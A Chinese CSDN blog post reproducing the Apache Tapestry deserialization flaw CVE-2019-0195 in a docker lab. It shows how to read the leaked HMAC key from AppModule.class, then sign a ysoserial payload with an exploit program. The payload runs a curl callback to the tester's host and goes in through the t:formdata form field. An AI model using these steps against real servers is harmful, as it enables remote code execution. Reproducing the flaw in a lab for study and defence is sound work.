Apache Tapestry 文件读取漏洞(CVE-2019-0195)

ApacheTapestry5.4.0至5.4.3版本存在安全漏洞,攻击者能利用此漏洞通过获取并使用HMACKey加密恶意payload,导致远程代码执行(RCE)。漏洞源于5.3.6版本引入的加密机制,HMACKey默认为空但需手动设置。文章提供了漏洞复现步骤,包括环境搭建、HMACKey泄露及利用ysoserial生成恶意payload来执行命令。
摘要由CSDN通过智能技术生成

Apache Tapestry 文件读取漏洞(CVE-2019-0195)

0x01 漏洞简介

Apache Tapestry是美国阿帕奇(Apache)软件基金会的一款使用Java语言编写的Web应用程序框架。

Apache Tapestry 5.4.0版本(包括:betas版本)至5.4.3版本中存在安全漏洞。攻击者可利用该漏洞运行恶意的Java代码。

5.3.6版本引入的一个机制,用途是对序列化的数据进行加密,Tapestry的所有序列化数据传输都需要使用HMAC Key进行加密,一旦密钥泄漏,攻击者即可发送恶意payload,从而造成RCE(原理和shiro默认key的反序列化RCE相似)

HMAC Key需要开发者手动设置,默认值为空(但是不设置,Tapestry会让你编译不通过),一般都存放在 services/AppModule.class文件中(开发者也可以根据喜好存放在其他class文件中)

0x02 影响版本

Apache Tapestry 5.4.0版本(包括:betas版本)至 5.4.3版本

0x03 环境搭建

docker pull vultarget/tapestry-cve_2019_0195:5.4.0    拉取镜像

docker run -it -p 9999:8080 -d vultarget/tapestry-cve_2019_0195:5.4.0  运行容器

0x04 漏洞复现

访问http://192.168.237.129:49153/assets/something/services/AppModule.class,发现是302,直接利用burp的功能看到跳转前的数据包,就可以找到Tapestry的HMAC Key:moreofyoulessofme

在这里插入图片描述

接下来,攻击者就可以使用HMAC Key,对恶意payload进行加密,发送给Tapestry服务器,Tapestry经过,解密,反序列化,从而触发恶意代码执行。

下载payload:

在linux中进行编译
javac -classpath commons-codec-1.15/commons-codec-1.15.jar:. Exploit.java

执行代码
java -cp commons-codec-1.15/commons-codec-1.15.jar:. Exploit [Tapestry Key] [Ysoserial Payload] [要执行的命令]
其中 [Tapestry Key] 是从 AppModule.class 泄漏的 Hmac 密钥,[Ysoserial Payload] 是您要从 ysoserial 使用的有效负载,而 [Command To Execute] 是您要执行的命令。

java -cp commons-codec-1.15/commons-codec-1.15.jar:. Exploit moreofyoulessofme CommonsBeanutils1 "curl http://192.168.237.1:8000"

得到poc之后,我们通过其自带的form表单,来触发反序列化,在form表单中存在一个t:formdata 的属性,所以只需要替换成为Poc即可

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值